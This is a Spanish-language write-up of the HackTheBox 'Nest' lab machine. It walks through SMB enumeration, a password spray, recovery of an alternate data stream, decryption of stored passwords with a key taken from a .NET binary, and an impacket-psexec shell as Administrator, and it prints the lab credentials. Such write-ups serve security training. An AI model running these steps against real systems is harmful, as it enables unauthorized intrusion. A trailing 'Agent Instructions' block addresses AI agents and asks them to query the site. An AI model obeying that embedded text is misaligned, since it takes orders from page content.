# Nest

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.178
```

para verificar la conectividad de red.

<figure><img src="/files/nJJd8atiUewKeNXtfTe5" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV -p- 10.10.10.178
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/ITYNc1JMYhcOJ1MMS64G" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 445 (SMB):** El puerto 445/tcp está abierto y ejecutando el servicio `microsoft-ds?`, lo que indica la posible presencia de un servicio SMB en el sistema.
* **Puerto 4386 (unknown):** El puerto 4386/tcp también está abierto y ejecutando un servicio desconocido. Según el fingerprinting de respuesta, el servicio se identifica como `Reporting Service V1.2`, lo que sugiere que permite a los usuarios ejecutar consultas en bases de datos mediante el formato HQK. Entre los comandos disponibles se encuentran `LIST`, `SETDIR`, `RUNQUERY`, `DEBUG` y `HELP`. Esta funcionalidad podría representar un posible vector de ataque si el servicio no está correctamente asegurado.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p445,4386 -v 10.10.10.178
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/b2NPhmLnXOYWy30pQy0U" alt=""><figcaption></figcaption></figure>

Ponemos el dominio en el `/etc/hosts`.

```bash
echo "10.10.10.178 nest.htb" >> /etc/hosts
```

Listamos recursos compartidos.

```bash
smbclient -L 10.10.10.178
```

<figure><img src="/files/hDpP4NCC7yaPmsgQxhb6" alt=""><figcaption></figcaption></figure>

Listamos el contenido de los recursos compartidos.

```bash
smbclient \\\\nest.htb\\Users -N
```

<figure><img src="/files/5V3zdkNQWiS2kQT9k7Ai" alt=""><figcaption></figcaption></figure>

```
smbclient \\\\nest.htb\\Data -N
```

<figure><img src="/files/CFEOwMDjWgexGhSRuSnC" alt=""><figcaption></figcaption></figure>

En la ruta `/Shared/Templates/HR` hay un archivo interesante.

<figure><img src="/files/idsXNJrosYfbomzHmZS2" alt=""><figcaption></figcaption></figure>

Tenemos unas credenciales por lo que con los usuarios descubiertos antes realizamos fuerza bruta.

```bash
crackmapexec smb nest.htb -u usuarios -p 'welcome2019' --continue-on-success
```

<figure><img src="/files/5c67iiQpdcZWVPGNxh70" alt=""><figcaption></figcaption></figure>

Intenté iniciar sesión con los tres usuarios y, al usar **TempUser**, obtuve un archivo, pero estaba vacío. Volví a acceder al recurso compartido **Data** como **TempUser** y descargué los archivos. Entre ellos, encontré un archivo llamado **RU\_Config.xml**.

<figure><img src="/files/Ruvk5VGgB41gA3ss4X6u" alt=""><figcaption></figcaption></figure>

En otro archivo (**config.xml**) encontramos también información.

<figure><img src="/files/xQVL72p0ZuQQPttJReci" alt=""><figcaption></figcaption></figure>

Entramos donde **Carl**.

```bash
smbclient -U ./TempUser //10.10.10.178/Secure$
```

<figure><img src="/files/vOEeMe2XPPx3bi4lwFNu" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Lo que estamos buscando es una línea del artículo que mencionamos antes, un algoritmo para descifrar el cifrado del archivo **RU\_Config.xml**. Quiero hacerlo rápido, así que voy a dotnetfiddle.net, realizar algunos ajustes al código y ejecutarlo con la contraseña cifrada que está en el archivo de configuración.

{% embed url="<https://dotnetfiddle.net/>" %}

El resultado es **xRxRxPANCAK3SxRxRx**. Bien, el usuario estaba claro, y ahora la contraseña está descifrada.

```
smbclient -U ./c.smith //10.10.10.178/Users
```

<figure><img src="/files/cKf2dHgitKxi9DbX0Pu8" alt=""><figcaption></figcaption></figure>

Seguimos investigando para escalar a **root**.

<figure><img src="/files/3J8L3EWMFtetszhNrpgh" alt=""><figcaption></figcaption></figure>

{% embed url="<https://superuser.com/questions/1520250/read-alternate-data-streams-over-smb-with-linux?source=post_page-----125aa20f9fea--------------------------------------->" %}

```bash
allinfo "Debug Mode Password.txt"
```

<figure><img src="/files/DhNBTqtfesimGHz91sfz" alt=""><figcaption></figcaption></figure>

Nos lo descargamos.

```
get "Debug Mode Password.txt":Password:$Data
```

Esto debería devolverte la contraseña en formato claro, que en este caso es **WBQ201953D8w**.

Con la contraseña obtenida, conéctate al servidor HQK:

```bash
debug WBQ201953D8w
```

Dentro del servidor, ejecuta el siguiente comando en el directorio LDAP para ver la configuración:

```bash
showquery 2
```

<figure><img src="/files/Xtxk14WP0iLzNq5TyKCb" alt=""><figcaption></figcaption></figure>

Esto debería devolverte las credenciales del **Administrador** en formato cifrado. En el ejemplo, la contraseña es **yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=**.

```bash
echo "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" | base64 --decode
```

Ejecuté el comando `file` sobre el archivo `HqKLdap.exe` y descubrí que es un ejecutable .NET. Lo copié a mi sistema Windows y lo abrí utilizando ILSpy. Dentro del archivo `HqKLdap`, en la sección `CR`, encontré la siguiente línea de código:

```csharp
return RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
```

Reemplacé esta línea en el script de Nest y modifiqué el archivo `config.xml` con el nombre de usuario y la contraseña de "Administrator". Luego ejecuté el script y obtuve lo siguiente:

**Anterior:**

```
XtH4nkS4Pl4y1nGX
Administrator
```

**Nuevo:**

```
AJPcXFcqZ32B993fPwoHWA==
XtH4nkS4Pl4y1nGX
```

La contraseña obtenida es: `XtH4nkS4Pl4y1nGX`.

Ahora, intentemos obtener una shell utilizando la siguiente herramienta:

```bash
impacket-psexec Administrator:XtH4nkS4Pl4y1nGX@nest.htb
```

Con este comando, deberíamos obtener acceso como `Administrator`.

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

somos **root.**

<figure><img src="/files/53MooMnGN4m4sZ5EdAH2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5IWzbaOtc7ovIZRieafi" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/nest.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
